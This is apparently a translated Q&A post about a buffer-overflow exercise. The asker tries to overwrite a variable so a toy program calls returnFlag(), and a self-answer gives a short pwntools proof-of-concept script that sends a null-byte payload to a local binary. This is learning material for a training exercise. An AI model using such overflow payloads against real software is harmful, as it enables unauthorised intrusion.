如何交互发送原始字节以进行缓冲区溢出攻击?

时间:2019-01-31 20:19:56

标签: c bash stdin buffer-overflow exploit

作为练习的一部分,我试图通过缓冲区溢出来覆盖变量的值来开发简单程序。我很确定我已经弄清楚了漏洞利用背后的想法,但是由于我无法注入我的代码,所以我不确定。

我试图构建一个使用Pwntools的脚本,该脚本非常适合打包整数,但是我没有设法使其正常工作。我还尝试阅读有关TTY的信息,以及如何处理终端发送给流程的信息。

我正在利用的程序的简单伪代码:

returnFlag() {
    print(flag)
}

main() {
    char[8] = input
    id = 999999

    input = fgets()

    if (id = 0) {
        returnFlag()
    }
}

我的计划是使变量输入溢出并用0覆盖id的值,以便执行函数returnFlag()。但是,当我输入例如“AAAA \ X00 \ X00 \ X00”当我看着与GDB内存我只得到胡言乱语。

这个问题使我在过去的1.5个星期内发疯,任何帮助将不胜感激。

1 个答案:

答案 0 :(得分:0)

所以我想出了解决问题的方法。希望这也会对其他人有所帮助。

问题是我不知道如何发送“漏洞利用代码”,因为它由空值组成。幸运的是,有一个名为Pwntools link的简洁工具可以为您提供帮助。

使用该工具,您可以与程序进行交互并“打包”整数,以便发送所有必需的字节类型,包括空字节。

使用Pwntools来利用上述程序的简单POC,将其称为vuln,看起来像是:

#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'

pl = fit({0:'1', 8:[0x00000000]})

io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))

因此,我首先导入所有库,并设置要使用context开发的环境。然后,我使用fit函数。它以我可以将其发送到程序的方式打包所有输入。我仍在尝试弄清fit在幕后所做的事情。